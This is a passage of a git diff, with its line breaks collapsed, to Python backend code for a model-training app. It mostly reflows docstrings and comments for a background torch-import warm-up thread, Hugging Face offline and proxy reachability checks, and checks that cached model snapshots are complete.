/api/health).+torch (plus the sympy/scipy/pandas it drags in) used to be imported by `import main`, so the port could not bind until it finished; deferring it alone would only move the cost to the first request, so this module pays it concurrently. Started from the last line of main.py's lifespan, since everything above is on the critical path to binding the socket and would contend for the GIL, and uvicorn binds as soon as the lifespan returns, so the warm overlaps serving rather than boot.++Contract: idempotent (one thread per process); never fatal (a failed stage is logged, left cold and retried by whoever needs it); no half-initialised state, since stages delegate to the module owning the cache (utils.hardware, model_config) which caches under a lock and only on success; optional GPU consumers stay cold, with Hub downloads loading the Xet/Unsloth Zoo integration and RAG its embedding backend on demand.++This does NOT make torch-dependent endpoints cheap while it runs: anything reaching get_device() blocks until the hardware stage finishes, so `async def` handlers on that path must use asyncio.to_thread (see main.py's /api/health)."""from __future__ import annotations@@ -107,21 +92,11 @@ def _synchronize_with_imports(fn):def purge_partial_import(package: str) -> list:"""Drop the submodules a failed package import left behind in sys.modules.- When ``package/__init__.py`` raises, CPython evicts only the parent and keeps- every submodule it already executed. The next import re-runs ``__init__`` with- each ``from .x import y`` served from that cache, so attributes are never- rebound: the package imports "successfully" but is missing pieces (the- bitsandbytes case fixed in #7580). The warm makes this reachable -- it imports on- a thread and swallows the failure, so the retry is somebody else's request.-- Acts only on that exact signature (parent gone, submodules present), so a- concurrent, still-running import is left alone. Returns what it removed.-- Declines when any submodule is a loaded C extension: evicting one re-runs its- module init, and pybind11 answers a duplicate type registration with- std::terminate. A torch missing attributes is bad; SIGABRT mid-serve is worse.- Known native registries populated by pure-Python modules are reset only after- every stale module has been removed and no importer has republished the parent.+ When ``package/__init__.py`` raises, CPython evicts only the parent and keeps every submodule it already executed, so the next import re-runs ``__init__`` with each ``from .x import y`` served from that cache and attributes never rebound: the package imports "successfully" while missing pieces (the bitsandbytes case fixed in #7580). The warm makes this reachable, importing on a thread and swallowing the failure so the retry is somebody else's request.++ Acts only on that exact signature (parent gone, submodules present), so a concurrent still-running import is left alone; returns what it removed.++ Declines when any submodule is a loaded C extension: evicting one re-runs its module init, and pybind11 answers a duplicate type registration with std::terminate. A torch missing attributes is bad, SIGABRT mid-serve is worse. Known native registries populated by pure-Python modules are reset only after every stale module has been removed and no importer has republished the parent."""if package in sys.modules:return []@@ -178,8 +153,7 @@ _STAGE_PACKAGE = {"datasets": "datasets",}-# Hold the import lock across a bare import AND its failure cleanup: locking only the purge leaves a window where a-# queued importer reuses stale submodules.+# Hold the import lock across a bare import AND its failure cleanup: locking only the purge leaves a window where a queued importer reuses stale submodules._BARE_IMPORT_STAGES = frozenset({"datasets"})@@ -213,7 +187,6 @@ def _run_stage(name: str, fn) -> None:def _warm_hardware(epoch: Optional[int] = None) -> None:- # Requests hit the same call.from utils.hardware import ensure_hardware_detectedensure_hardware_detected(epoch)@@ -231,9 +204,7 @@ def _warm_datasets() -> None:# Keep metadata and framework registries ready without importing optional GPU consumers.# Unsloth Zoo is loaded by utils.hf_xet_fallback only when a Hub operation needs it.def _warm_inference_backend() -> None:- # Its constructor reaches hw.get_device(), so whoever builds it first pays for detection- # -- lazily that is some request, and sync helpers call the getter inline from async- # handlers. Building it here makes the getter a dict read. After hardware, to reuse it.+ # Its constructor reaches hw.get_device(), so whoever builds it first pays for detection, which lazily is some request, and sync helpers call the getter inline from async handlers. Building it here makes the getter a dict read. After hardware, to reuse it.from core.inference import get_inference_backendget_inference_backend()@@ -250,23 +221,17 @@ def _warm(epoch: Optional[int] = None) -> None:started = time.perf_counter()if epoch is None:epoch = _detection_epoch()- # The boundary checks below only catch a shutdown between stages. Inside one, the- # orchestrator constructor reaches get_device(), which takes no epoch; the scope binds- # it to this pass so a mid-stage shutdown discards it instead of republishing DEVICE.+ # The boundary checks below only catch a shutdown between stages. Inside one, the orchestrator constructor reaches get_device(), which takes no epoch; the scope binds it to this pass so a mid-stage shutdown discards it instead of republishing DEVICE.with _owning_epoch(epoch):for name, fn in _STAGES:if epoch is not None and _detection_epoch() != epoch:- # Checked before the first stage too: start_background_warm() reads the- # epoch before start(), so a shutdown in that gap retires this thread- # while it is still scheduled, with nothing yet run.+ # Checked before the first stage too: start_background_warm() reads the epoch before start(), so a shutdown in that gap retires this thread while it is still scheduled, with nothing yet run.logger.info("torch warm stopped before %s: its lifespan ended", name)return# Only the real stage takes the epoch; a patched _STAGES entry is called bare._run_stage(name, partial(fn, epoch) if fn is _warm_hardware else fn)if epoch is not None and _detection_epoch() != epoch:- # Shutdown retired this lifespan's detection. Later stages build the- # orchestrator, which reaches get_device() and would start a fresh- # detection, republishing DEVICE after teardown cleared it.+ # Shutdown retired this lifespan's detection. Later stages build the orchestrator, which reaches get_device() and would start a fresh detection, republishing DEVICE after teardown cleared it.logger.info("torch warm stopped after %s: its lifespan ended", name)return_status["finished"] = True@@ -276,8 +241,7 @@ def _warm(epoch: Optional[int] = None) -> None:@contextmanagerdef _owning_epoch(epoch: Optional[int]):- """hardware.owning_detection_epoch(), a no-op when hardware is not importable: a- --no-torch host still runs the warm and each stage reports its own absence."""+ """hardware.owning_detection_epoch(), a no-op when hardware is not importable: a --no-torch host still runs the warm and each stage reports its own absence."""try:from utils.hardware import hardware as _hwscope = _hw.owning_detection_epoch(epoch)@@ -306,32 +270,22 @@ def _warm_after(previous: threading.Thread, epoch: Optional[int]) -> None:def start_background_warm() -> bool:"""Start the warm thread once. Returns True iff this call started it.- Runs on every host, torch or not: stage one is hardware detection, which must not- wait for a request (it feeds /api/health's chat_only).-- A finished thread from an earlier lifespan does not count as one already running:- reset_background_warm() declines mid-warm, so a shutdown then leaves the object in- place, and treating that as "already started" would skip the warm over hardware- state the same shutdown just cleared.+ Runs on every host, torch or not: stage one is hardware detection, which must not wait for a request (it feeds /api/health's chat_only). A finished thread from an earlier lifespan does not count as one already running, because reset_background_warm() declines mid-warm, so a shutdown leaves the object in place and treating that as "already started" would skip the warm over hardware state the same shutdown just cleared."""global _threadif os.environ.get(DISABLE_ENV_VAR) == "1":return Falseglobal _thread_epoch- # Epoch read before start(): the child may not run for a while, and a shutdown in that- # gap retires this lifespan. Reading it in the thread would adopt the post-shutdown one.+ # Epoch read before start(): the child may not run for a while, and a shutdown in that gap retires this lifespan. Reading it in the thread would adopt the post-shutdown one.epoch = _detection_epoch()with _start_lock:target, args = _warm, (epoch,)if _thread is not None:- # A warm holds the latch while its own lifespan is current, so repeat calls- # are no-ops. Once shutdown retires that epoch the next lifespan warms again.+ # A warm holds the latch while its own lifespan is current, so repeat calls are no-ops. Once shutdown retires that epoch the next lifespan warms again.if _thread_epoch is not None and epoch == _thread_epoch:return Falseif _thread.is_alive():- # Stale but mid-stage: it stops at the next boundary and nothing retries,- # so this lifespan would serve cold. Hand off; the successor joins it- # first, so only one thread imports.+ # Stale but mid-stage: it stops at the next boundary and nothing retries, so this lifespan would serve cold. Hand off; the successor joins it first, so only one thread imports.target, args = _warm_after, (_thread, epoch)else:_clear_finished_warm_locked()@@ -350,14 +304,9 @@ def start_background_warm() -> bool:def reset_background_warm() -> bool:"""Let a later lifespan in this process start a fresh warm. True iff reset.- The same app can start twice (repeated ASGI lifespans, an embedded restart) and- shutdown clears the hardware state the first warm produced; leaving the finished- thread in place would make the second lifespan skip the warm and hand detection back- to the first request, the stall this module removes.+ The same app can start twice (repeated ASGI lifespans, an embedded restart) and shutdown clears the hardware state the first warm produced, so leaving the finished thread in place would make the second lifespan skip the warm and hand detection back to the first request, the stall this module removes.- Declines while the previous warm runs, so two warms never share the same imports.- Detection self-heals then: shutdown clears DETECTION_COMPLETE and /api/health kicks- start_background_detection().+ Declines while the previous warm runs, so two warms never share the same imports. Detection self-heals then: shutdown clears DETECTION_COMPLETE and /api/health kicks start_background_detection()."""with _start_lock:thread = _threaddiff --git a/studio/backend/utils/transformers_latest.py b/studio/backend/utils/transformers_latest.pyindex 569b101f926..aec16a5c377 100644--- a/studio/backend/utils/transformers_latest.py+++ b/studio/backend/utils/transformers_latest.py@@ -508,7 +508,6 @@ def check_upgrade_for_model(model_name: str, hf_token: str | None = None) -> dic# Sidecars install transformers --no-deps atop the base env. Before installing, compare# requires_dist: unsatisfied shadowable deps become exact --target pins, anything else blocks.-# --- Dependency compatibility preflight ------------------------------------------------------_SHADOWABLE_DEPS = frozenset({"tokenizers", "safetensors"})# Provided by the sidecar recipe; checked against its pin, not the base env._SIDECAR_PROVIDED = {"huggingface-hub": "1.8.0", "hf-xet": "1.4.2"}diff --git a/studio/backend/utils/utils.py b/studio/backend/utils/utils.pyindex b4c10bf01b0..2bda305cb02 100644--- a/studio/backend/utils/utils.py+++ b/studio/backend/utils/utils.py@@ -20,21 +20,13 @@ from utils.paths.path_utils import is_appledouble_metadatalogger = get_logger(__name__)-# An offline load must never touch the network (a DNS-dead session hangs on hub retries), so-# these read the local HF cache.-# ── Offline / HF-cache helpers ──────────────────────────────────# An offline load must never touch the network (a DNS-dead session hangs on hub retries); these read the local HF cache._HF_OFFLINE_TRUE_VALUES = frozenset({"1", "true", "yes", "on"})def hf_env_offline() -> bool:- """True when HF_HUB_OFFLINE or TRANSFORMERS_OFFLINE asks for offline mode.-- TRANSFORMERS_OFFLINE counts too (the hub reads only HF_HUB_OFFLINE), as does an open- force_hf_offline window: hf_environment_restored_for_spawn briefly puts the user's- values back, and an env-only check on another thread would then read "online".- """+ """True when HF_HUB_OFFLINE or TRANSFORMERS_OFFLINE asks for offline mode. TRANSFORMERS_OFFLINE counts too (the hub reads only HF_HUB_OFFLINE), as does an open force_hf_offline window: hf_environment_restored_for_spawn briefly puts the user's values back, and an env-only check on another thread would then read "online"."""if force_hf_offline_active():return Truefor var in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"):@@ -44,19 +36,7 @@ def hf_env_offline() -> bool:def anonymous_and_offline(hf_token) -> bool:- """The one condition under which a Hub-reaching request can only be answered by disk.-- ``token=False`` denies authentication, not the cache: offline, huggingface_hub and- datasets both resolve a previously downloaded private repo without ever authorizing.- A caller holding the anonymous sentinel has no network to establish access over, so- every downstream read is a disk read it never earned.-- Guarding this at the route entry rather than at each call site is deliberate. The- per-site version was fixed six times -- the snapshot walk, the config probes, the- embedding marker, the GGUF listing, the preview slices, AutoConfig -- and each fix- only moved the boundary to the next reader. This states the rule once, before any of- them run, so a path nobody has enumerated is covered too.- """+ """The one condition under which a Hub-reaching request can only be answered by disk. ``token=False`` denies authentication, not the cache: offline, huggingface_hub and datasets both resolve a previously downloaded private repo without ever authorizing, and a caller holding the anonymous sentinel has no network to establish access over, so every downstream read is a disk read it never earned. Guarding this at the route entry rather than at each call site is deliberate: the per-site version was fixed six times (the snapshot walk, the config probes, the embedding marker, the GGUF listing, the preview slices, AutoConfig) and each fix only moved the boundary to the next reader, so this states the rule once, before any of them run."""from hub.utils.hf_tokens import is_anonymousreturn is_anonymous(hf_token) and hf_env_offline()@@ -82,12 +62,7 @@ def hf_endpoint_host() -> str:def _stdlib_proxy_for_url(url: str) -> Optional[str]:- """requests' proxy selection rebuilt on the stdlib, for installs without requests.-- huggingface_hub 1.x dropped requests, so importing requests.utils raises there and we- would report "no proxy" on a machine that has one, forcing a working proxy-only setup- offline. getproxies covers the same sources, incl. macOS sysconf and the Windows registry.- """+ """requests' proxy selection rebuilt on the stdlib, for installs without requests. huggingface_hub 1.x dropped requests, so importing requests.utils raises there and we would report "no proxy" on a machine that has one, forcing a working proxy-only setup offline. getproxies covers the same sources, incl. macOS sysconf and the Windows registry."""from urllib.parse import urlparsefrom urllib.request import getproxies, proxy_bypass@@ -128,11 +103,7 @@ def hf_proxy_for_endpoint(endpoint: Optional[str] = None) -> Optional[str]:def hf_proxy_usable_by_urllib(proxy: Optional[str]) -> bool:- """True when urllib can route through this proxy.-- urllib speaks only http/https, so a socks5:// proxy makes urlopen raise "unknown url- type", which reads as no egress even though the Hub client reaches the hub through it.- """+ """True when urllib can route through this proxy. urllib speaks only http/https, so a socks5:// proxy makes urlopen raise "unknown url type", which reads as no egress even though the Hub client reaches the hub through it."""if not proxy:return Truefrom urllib.parse import urlparse@@ -142,8 +113,7 @@ def hf_proxy_usable_by_urllib(proxy: Optional[str]) -> bool:def hf_proxy_configured() -> bool:- """True when egress goes through a proxy: it resolves the hub host, so local DNS- proves nothing about reachability and must not declare the hub offline."""+ """True when egress goes through a proxy: it resolves the hub host, so local DNS proves nothing about reachability and must not declare the hub offline."""return hf_proxy_for_endpoint() is not None@@ -153,19 +123,11 @@ def call_with_deadline(*,name: str = "deadline-call",):- """Run `fn()` on a daemon thread; raise TimeoutError if it outlives `timeout_s`.-- For network work that is bounded on paper but not in practice: a connect timeout applies- per address, so a host whose leading addresses blackhole pays it once for each. A- timed-out worker is abandoned, not stopped, and holds the callable until the kernel gives- up, so keep this to short work. The callable's own exception is re-raised rather than- swallowed, which stops a deadline turning a bug into an apparent dead network.- """+ """Run `fn()` on a daemon thread; raise TimeoutError if it outlives `timeout_s`. For network work that is bounded on paper but not in practice: a connect timeout applies per address, so a host whose leading addresses blackhole pays it once for each. A timed-out worker is abandoned, not stopped, and holds the callable until the kernel gives up, so keep this to short work. The callable's own exception is re-raised rather than swallowed, which stops a deadline turning a bug into an apparent dead network."""import contextvarsoutcome: dict = {}- # Log context is per-thread: without the copy, fn()'s own logging loses the request- # fields it carries when the same call runs inline.+ # Log context is per-thread: without the copy, fn()'s own logging loses the request fields it carries when the same call runs inline.context = contextvars.copy_context()def _run() -> None:@@ -185,17 +147,7 @@ def call_with_deadline(def dns_host_dead(host: str, timeout: float = 2.0) -> bool:- """True only when host definitively does not resolve. Daemon thread, so a wedged- resolver cannot block past the deadline and socket.setdefaulttimeout is left alone.-- getaddrinfo, not gethostbyname: the latter is IPv4-only and would call an AAAA-only- mirror or an IPv6 literal dead.-- A missed deadline is inconclusive, not dead. Slow-but-working DNS (cold cache, DNSSEC,- a fresh VPN) resolves past 2s, and this shortcut skips the fail-open probe, so calling- it dead would strand a working machine for a whole job. A truly wedged resolver is- still caught: the caller's HEAD probe hangs on the same lookup and times out.- """+ """True only when host definitively does not resolve. Daemon thread, so a wedged resolver cannot block past the deadline and socket.setdefaulttimeout is left alone. getaddrinfo, not gethostbyname: the latter is IPv4-only and would call an AAAA-only mirror or an IPv6 literal dead. A missed deadline is inconclusive, not dead: slow-but-working DNS (cold cache, DNSSEC, a fresh VPN) resolves past 2s and this shortcut skips the fail-open probe, so calling it dead would strand a working machine for a whole job, while a truly wedged resolver is still caught by the caller's HEAD probe hanging on the same lookup."""result: list = [None]def _probe() -> None:@@ -231,11 +183,7 @@ def hf_connect_target(endpoint: Optional[str] = None):def hf_tcp_reachable(timeout: float = 3.0, endpoint: Optional[str] = None) -> bool:- """True when a TCP connection to the hub (or its proxy) can be established.-- Separates "no egress" from "slow to answer": a loaded server still handshakes promptly,- a blackholed route times out. A refusal counts as reachable, since something answered.- """+ """True when a TCP connection to the hub (or its proxy) can be established. Separates "no egress" from "slow to answer": a loaded server still handshakes promptly, a blackholed route times out. A refusal counts as reachable, since something answered."""import socket as _sockethost, port = hf_connect_target(endpoint)@@ -253,18 +201,13 @@ def hf_tcp_reachable(timeout: float = 3.0, endpoint: Optional[str] = None) -> bodef hf_dns_dead(timeout: float = 2.0) -> bool:- """Fast offline shortcut: the endpoint's host does not resolve and no proxy applies.-- False whenever a proxy is configured, so proxy-only setups fall through to the real- reachability probe instead of being wrongly declared offline."""+ """Fast offline shortcut: the endpoint's host does not resolve and no proxy applies. False whenever a proxy is configured, so proxy-only setups fall through to the real reachability probe instead of being wrongly declared offline."""if hf_proxy_configured():return Falsereturn dns_host_dead(hf_endpoint_host(), timeout)-# One load makes many hub calls, so the verdict is shared briefly. Kept short in BOTH directions:-# a stale "reachable" misses the plug being pulled, and a stale "unreachable" sends a load to-# the cache after the user reconnected.+# One load makes many hub calls, so the verdict is shared briefly. Kept short in BOTH directions: a stale "reachable" misses the plug being pulled, and a stale "unreachable" sends a load to the cache after the user reconnected._HF_REACHABILITY_TTL_S = 5.0_hf_reachability: Optional[tuple] = None_hf_reachability_lock = threading.Lock()@@ -285,19 +228,13 @@ def hf_probe_disabled() -> bool:}-# The memo above expires on wall-clock, right between requests and wrong inside one: a slow-# request outlives the TTL, so its later guards re-probe and can disagree with the first.+# The memo above expires on wall-clock, right between requests and wrong inside one: a slow request outlives the TTL, so its later guards re-probe and can disagree with the first._hf_reachability_pin: "ContextVar[Optional[list]]" = ContextVar("hf_reachability_pin", default = None)@contextmanagerdef pinned_hf_reachability():- """Hold one reachability verdict for this block, however long it runs.-- Every verdict this module reaches fills it -- probed, already memoised, or opted out- of -- and the rest read it. Nothing is pinned until something asks, so a block that- never touches the Hub pays nothing.- """+ """Hold one reachability verdict for this block, however long it runs. Every verdict this module reaches fills it (probed, already memoised, or opted out of) and the rest read it. Nothing is pinned until something asks, so a block that never touches the Hub pays nothing."""token = _hf_reachability_pin.set([])try:yield@@ -314,12 +251,7 @@ def _pin_reachability(verdict: bool) -> bool:def hf_reachability_memo() -> Optional[bool]:- """The pinned or memoised verdict while still usable, else None.-- Lets a caller skip a cheaper-but-still-slow shortcut it has already effectively run:- one request opens several guards, and repeating a 2s DNS lookup per guard adds up.- Lock-free like force_hf_offline_active: the tuple read is atomic.- """+ """The pinned or memoised verdict while still usable, else None. Lets a caller skip a cheaper-but-still-slow shortcut it has already effectively run: one request opens several guards, and repeating a 2s DNS lookup per guard adds up. Lock-free like force_hf_offline_active: the tuple read is atomic."""pinned = _hf_reachability_pin.get()if pinned:return pinned[0]@@ -338,19 +270,9 @@ def reset_hf_reachability_cache() -> None:def hf_unreachable(timeout: int = 3) -> bool:- """True when the HF endpoint is unreachable, memoised for _HF_REACHABILITY_TTL_S.-- DNS resolving does not mean the Hub is reachable: a live router with the WAN down, a- captive portal or a stale DNS cache all answer lookups while every request then burns- huggingface_hub's retry backoff. Bounded and proxy-aware, as the export path already- does; UNSLOTH_OFFLINE_PROBE=0 disables it. Fails open, so an unavailable probe reports- reachable and the load decides as it does today.- """+ """True when the HF endpoint is unreachable, memoised for _HF_REACHABILITY_TTL_S. DNS resolving does not mean the Hub is reachable: a live router with the WAN down, a captive portal or a stale DNS cache all answer lookups while every request then burns huggingface_hub's retry backoff. Bounded and proxy-aware, as the export path already does; UNSLOTH_OFFLINE_PROBE=0 disables it. Fails open, so an unavailable probe reports reachable and the load decides as it does today."""if hf_probe_disabled():- # A declination, not a verdict, so it does not pin. UNSLOTH_OFFLINE_PROBE turns off- # the TCP probe and not DNS, and pinning here answers for the DNS shortcut too:- # guards 2..N read "reachable" and never look again. Leaving it open costs no- # lookup, since a dead one returns above this and never reaches here.+ # A declination, not a verdict, so it does not pin. UNSLOTH_OFFLINE_PROBE turns off the TCP probe and not DNS, and pinning here answers for the DNS shortcut too: guards 2..N would read "reachable" and never look again. Leaving it open costs no lookup, since a dead one returns above this.return Falsepinned = _hf_reachability_pin.get()@@ -412,15 +334,7 @@ _OFFLINE_CONSTANTS = (def force_hf_offline_active() -> bool:- """True while a force_hf_offline window is open anywhere in this process.-- Lets a concurrent caller tell our forced offline apart from one the user set, so it- takes its own reference instead of no-opping and losing offline when the first exits.-- Lock-free: hf_environment_restored_for_spawn holds the lock across Process.start(), and- blocking for that window would stall the operation the guard protects. The int read is- atomic and the depth rises only after env and constants are already offline.- """+ """True while a force_hf_offline window is open anywhere in this process. Lets a concurrent caller tell our forced offline apart from one the user set, so it takes its own reference instead of no-opping and losing offline when the first exits. Lock-free: hf_environment_restored_for_spawn holds the lock across Process.start(), and blocking for that window would stall the operation the guard protects; the int read is atomic and the depth rises only after env and constants are already offline."""return _force_offline_depth > 0@@ -453,11 +367,7 @@ def hf_environment_for_spawn() -> dict[str, str]:def hf_environment_scrubbed(base) -> dict[str, str]:- """Copy an env mapping with our scoped offline values replaced by the user's intent.-- A caller that captured os.environ itself would otherwise hand a child the- HF_HUB_OFFLINE=1 we set for one operation, and the child would stay cache-only for life.- """+ """Copy an env mapping with our scoped offline values replaced by the user's intent. A caller that captured os.environ itself would otherwise hand a child the HF_HUB_OFFLINE=1 we set for one operation, and the child would stay cache-only for life."""with _force_offline_lock:environment = dict(base)if _force_offline_depth > 0:@@ -488,11 +398,7 @@ def hf_environment_restored_for_spawn():@contextmanagerdef force_hf_offline():- """Force HF offline for this block, in-process.-- Env vars alone are too late once running: huggingface_hub and transformers read their- offline constants at import and sessions cache a non-offline adapter. Flip the constants- and rebuild the sessions so hub calls fail fast. All restored on exit."""+ """Force HF offline for this block, in-process. Env vars alone are too late once running: huggingface_hub and transformers read their offline constants at import and sessions cache a non-offline adapter, so flip the constants and rebuild the sessions to make hub calls fail fast. All restored on exit."""global _force_offline_depth, _force_offline_saved, _force_offline_saved_envimport importlib@@ -543,8 +449,7 @@ def force_hf_offline():def st_repo_id_candidates(model_name: str) -> list:- """Repo ids a Sentence-Transformers load may resolve model_name to; a slashless name- also resolves under the sentence-transformers/ namespace, so both are candidates."""+ """Repo ids a Sentence-Transformers load may resolve model_name to; a slashless name also resolves under the sentence-transformers/ namespace, so both are candidates."""name = (model_name or "").strip().strip("/")if not name:return []@@ -560,14 +465,7 @@ def _expand_path(raw: str) -> Path:def _hf_cache_roots() -> list:- """Cache roots to search for a model's local snapshot, most-authoritative first.-- The app's selected hub cache (set via /settings) is searched first: after a- no-restart cache switch the process env is stale, yet the loader reads the- selected cache via ``cache_folder=active_hf_hub_cache()``, so the snapshot- and offline security lookups must match where it actually loads. The env- precedence (SENTENCE_TRANSFORMERS_HOME, HF_HUB_CACHE, HF_HOME/hub,- ~/.cache/huggingface/hub) follows so a copy still in a previous cache resolves."""+ """Cache roots to search for a model's local snapshot, most-authoritative first. The app's selected hub cache (set via /settings) is searched first: after a no-restart cache switch the process env is stale, yet the loader reads the selected cache via ``cache_folder=active_hf_hub_cache()``, so the snapshot and offline security lookups must match where it actually loads. The env precedence (SENTENCE_TRANSFORMERS_HOME, HF_HUB_CACHE, HF_HOME/hub, ~/.cache/huggingface/hub) follows so a copy still in a previous cache resolves."""roots: list = []seen: set = set()@@ -601,11 +499,7 @@ ST_WEIGHT_SUFFIXES = (".safetensors", ".bin")def is_st_weight_name(basename: str) -> bool:- """Whether a filename is a checkpoint SentenceTransformer can load.-- ``.bin`` is the loose one: ``tokenizer.bin`` shares the extension with real- weights. Shared so the resolver's plan and the loader's cache check cannot- disagree about what counts as a checkpoint."""+ """Whether a filename is a checkpoint SentenceTransformer can load. ``.bin`` is the loose one: ``tokenizer.bin`` shares the extension with real weights. Shared so the resolver's plan and the loader's cache check cannot disagree about what counts as a checkpoint."""name = basename.lower()for suffix in ST_WEIGHT_SUFFIXES:if not name.endswith(suffix):@@ -617,19 +511,9 @@ def is_st_weight_name(basename: str) -> bool:def cached_st_source(model_name: str) -> Optional[tuple]:- """``(repo id, snapshot dir)`` whose cache holds ST-loadable weights, complete.-- Alias-aware, and it reports WHICH candidate matched: a slashless name caches- under ``sentence-transformers/``, so the literal id names a repo that usually- does not exist, and a stale literal cache entry is not the directory that- supplied the weights. Completeness comes from- ``hf_cache_snapshot_is_loadable`` on that same candidate: ST weights alone are- satisfied by the first finalized shard of a transfer still in flight.- """+ """``(repo id, snapshot dir)`` whose cache holds ST-loadable weights, complete. Alias-aware, and it reports WHICH candidate matched: a slashless name caches under ``sentence-transformers/``, so the literal id names a repo that usually does not exist, and a stale literal cache entry is not the directory that supplied the weights. Completeness comes from ``hf_cache_snapshot_is_loadable`` on that same candidate: ST weights alone are satisfied by the first finalized shard of a transfer still in flight."""for candidate in st_repo_id_candidates(model_name):- # Exactly this candidate: the alias-expanding lookup answers a literal- # slashless name with the namespaced snapshot, pairing a directory with a- # repo id that supplied nothing.+ # Exactly this candidate: the alias-expanding lookup answers a literal slashless name with the namespaced snapshot, pairing a directory with a repo id that supplied nothing.snapshot = hf_cache_snapshot_dir_for_repo(candidate)if snapshot is None:continue@@ -638,9 +522,7 @@ def cached_st_source(model_name: str) -> Optional[tuple]:continueexcept OSError:continue- # This snapshot, not whatever the alias-expanding lookup would find: with- # several cache roots those differ, and a complete namespaced copy in one- # would vouch for the partial literal copy in another that gets loaded.+ # This snapshot, not whatever the alias-expanding lookup would find: with several cache roots those differ, and a complete namespaced copy in one would vouch for the partial literal copy in another that gets loaded.if snapshot_is_loadable(snapshot, candidate):return (candidate, snapshot)return None@@ -653,11 +535,7 @@ def cached_st_repo(model_name: str) -> Optional[str]:def snapshot_has_st_weights(model_name: str) -> bool:- """Whether ``model_name`` has a complete cached checkpoint ST can open.-- ``hf_cache_snapshot_is_loadable`` counts ``.gguf``, which is right for the- llama backend and wrong wherever SentenceTransformer is the loader; this pairs- it with the ST-specific file family so both hold."""+ """Whether ``model_name`` has a complete cached checkpoint ST can open. ``hf_cache_snapshot_is_loadable`` counts ``.gguf``, which is right for the llama backend and wrong wherever SentenceTransformer is the loader; this pairs it with the ST-specific file family so both hold."""return cached_st_source(model_name) is not None@@ -687,13 +565,7 @@ def _snapshot_in_root(cache_root: Path, repo_id: str) -> Optional[Path]:def hf_cache_snapshot_dir_for_repo(repo_id: str) -> Optional[Path]:- """Snapshot dir for exactly ``repo_id``, with no alias expansion.-- ``hf_cache_snapshot_dir`` answers "is this model cached anywhere", trying the- ST alias, so asking it about a literal slashless name can return the- namespaced snapshot. A caller that has to report WHICH repo supplied the- weights needs this one instead, or it pairs the alias's directory with the- literal id and sends verification at a repo that does not exist."""+ """Snapshot dir for exactly ``repo_id``, with no alias expansion. ``hf_cache_snapshot_dir`` answers "is this model cached anywhere", trying the ST alias, so asking it about a literal slashless name can return the namespaced snapshot. A caller that has to report WHICH repo supplied the weights needs this one instead, or it pairs the alias's directory with the literal id and sends verification at a repo that does not exist."""for cache_root in _hf_cache_roots():snapshot = _snapshot_in_root(cache_root, repo_id)if snapshot is not None:@@ -702,8 +574,7 @@ def hf_cache_snapshot_dir_for_repo(repo_id: str) -> Optional[Path]:def hf_cache_snapshot_dir(model_name: str) -> Optional[Path]:- """Active local snapshot dir for model_name's main revision, or None if not cached.- Reads refs/main then snapshots/<commit>; no network. Tries the ST alias for slashless names."""+ """Active local snapshot dir for model_name's main revision, or None if not cached. Reads refs/main then snapshots/<commit>; no network. Tries the ST alias for slashless names."""for cache_root in _hf_cache_roots():for repo_id in st_repo_id_candidates(model_name):snapshot = _snapshot_in_root(cache_root, repo_id)@@ -717,15 +588,7 @@ _LOADABLE_WEIGHT_SUFFIXES = frozenset({".safetensors", ".bin", ".gguf", ".pt", "def checkpoint_directory_is_complete(root: Path, weights = None) -> bool:- """Whether ``root`` holds a whole checkpoint, shards and declared modules alike.-- Shared by the Hub-cache check and the local-path one so a directory is judged- the same way however it got there: a single shard of a two-shard family, or a- module ``modules.json`` declares and the directory does not have, is a torn- checkpoint that SentenceTransformer fails to open at the first index.-- ``weights`` is the already-scanned weight list when the caller has one.- """+ """Whether ``root`` holds a whole checkpoint, shards and declared modules alike. Shared by the Hub-cache check and the local-path one so a directory is judged the same way however it got there: a single shard of a two-shard family, or a module ``modules.json`` declares and the directory does not have, is a torn checkpoint that SentenceTransformer fails to open at the first index. ``weights`` is the already-scanned weight list when the caller has one."""from hub.utils.inventory_scan import snapshot_holds_a_complete_payloadif weights is None:@@ -736,9 +599,7 @@ def checkpoint_directory_is_complete(root: Path, weights = None) -> bool:and path.is_file()and not is_appledouble_metadata(path)]- # SentenceTransformer modules may keep their own transformer checkpoint- # below 0_Transformer/. Validate every module subtree that carries weights;- # config-only modules such as Pooling need no weight family of their own.+ # SentenceTransformer modules may keep their own transformer checkpoint below 0_Transformer/. Validate every module subtree that carries weights; config-only modules such as Pooling need no weight family of their own.if (root / "modules.json").is_file():import jsonfrom pathlib import PurePosixPath@@ -756,8 +617,7 @@ def checkpoint_directory_is_complete(root: Path, weights = None) -> bool:if relative.is_absolute() or ".." in relative.parts:continuemodule_root = root.joinpath(*relative.parts)- # A declared module the directory lacks entirely is a torn checkpoint whatever the others hold; existence is- # the whole test, since config-only modules have no weight family.+ # A declared module the directory lacks entirely is a torn checkpoint whatever the others hold; existence is the whole test, since config-only modules have no weight family.if module_root != root and not module_root.is_dir():return Falseif any(path == module_root or module_root in path.parents for path in weights):@@ -768,13 +628,7 @@ def checkpoint_directory_is_complete(root: Path, weights = None) -> bool:def hf_cache_snapshot_is_loadable(model_name: str) -> bool:- """True when the cached snapshot can satisfy a cache-only transformer load.-- App-managed downloads are checked against their exact manifest. Imported or- legacy caches without one fall back to the same weight-family/index scanner- used by Hub inventory, so one shard of a cancelled checkpoint is not enough.- No network.- """+ """True when the cached snapshot can satisfy a cache-only transformer load. App-managed downloads are checked against their exact manifest; imported or legacy caches without one fall back to the same weight-family/index scanner used by Hub inventory, so one shard of a cancelled checkpoint is not enough. No network."""snapshot = hf_cache_snapshot_dir(model_name)if snapshot is None:return False@@ -782,14 +636,7 @@ def hf_cache_snapshot_is_loadable(model_name: str) -> bool:def snapshot_is_loadable(snapshot, model_name: str) -> bool:- """``hf_cache_snapshot_is_loadable`` for a snapshot the caller already has.-- A caller that picked a specific directory has to have THAT one judged: the- lookup above expands the ST alias within each cache root while an exact- per-repo lookup walks the roots for one id, so with several roots configured- the two can land on different snapshots, and the verdict would then belong to- a directory nobody is going to load.- """+ """``hf_cache_snapshot_is_loadable`` for a snapshot the caller already has. A caller that picked a specific directory has to have THAT one judged: the lookup above expands the ST alias within each cache root while an exact per-repo lookup walks the roots for one id, so with several roots configured the two can land on different snapshots and the verdict would belong to a directory nobody is going to load."""try:has_config = (snapshot / "config.json").is_file() or (snapshot / "modules.json").is_file()if not has_config:@@ -804,9 +651,7 @@ def snapshot_is_loadable(snapshot, model_name: str) -> bool:if not weights:return False- # A managed full-snapshot transfer records its exact expected files- # before downloading. A cancel marker or unfinished blob is conclusive- # even when config.json and the first finalized shard already exist.+ # A managed 